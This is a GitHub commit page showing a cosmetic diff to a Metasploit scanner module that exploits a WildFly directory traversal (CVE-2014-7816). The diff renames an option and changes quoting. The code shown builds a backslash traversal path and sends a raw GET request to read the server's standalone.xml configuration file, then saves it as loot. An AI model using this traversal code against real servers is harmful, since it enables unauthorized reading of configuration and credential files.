Skip to content

Commit fa07b46

Browse files
committed
Use single quote and minor cosmetic changes
1 parent d5888a7 commit fa07b46

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/auxiliary/scanner/http/wildfly_traversal.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -20,10 +20,10 @@ def initialize(info = {})
2020
},
2121
'References' =>
2222
[
23-
[ 'CVE', '2014-7816' ],
24-
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2014-7816' ],
25-
[ 'URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt' ],
26-
[ 'URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4' ]
23+
['CVE', '2014-7816' ],
24+
['URL', 'https://access.redhat.com/security/cve/CVE-2014-7816'],
25+
['URL', 'https://www.conviso.com.br/advisories/CONVISO-14-001.txt'],
26+
['URL', 'http://www.openwall.com/lists/oss-security/2014/11/27/4']
2727
],
2828
'Author' => 'Roberto Soares Espreto <robertoespreto[at]gmail.com>',
2929
'License' => MSF_LICENSE,
@@ -33,23 +33,23 @@ def initialize(info = {})
3333
register_options(
3434
[
3535
Opt::RPORT(8080),
36-
OptString.new("FILEPATH", [true, 'Full path to the file to read', 'standalone\\configuration\\standalone.xml']),
36+
OptString.new('RELATIVE_FILE_PATH', [true, 'Relative path to the file to read', 'standalone\\configuration\\standalone.xml']),
3737
OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 1])
3838
], self.class)
3939
end
4040

4141
def run_host(ip)
42-
print_status("#{peer} - Attempting to download: #{datastore['FILEPATH']}")
42+
print_status("#{peer} - Attempting to download: #{datastore['RELATIVE_FILE_PATH']}")
4343

4444
traversal = "..\\" * datastore['TRAVERSAL_DEPTH']
4545
res = send_request_raw({
4646
'method' => 'GET',
47-
'uri' => "/#{traversal}\\#{datastore['FILEPATH']}"
47+
'uri' => "/#{traversal}\\#{datastore['RELATIVE_FILE_PATH']}"
4848
})
4949

5050
if res && res.code == 200
5151
vprint_line(res.to_s)
52-
fname = File.basename(datastore['FILEPATH'])
52+
fname = File.basename(datastore['RELATIVE_FILE_PATH'])
5353

5454
path = store_loot(
5555
'wildfly.http',

0 commit comments

Comments
 (0)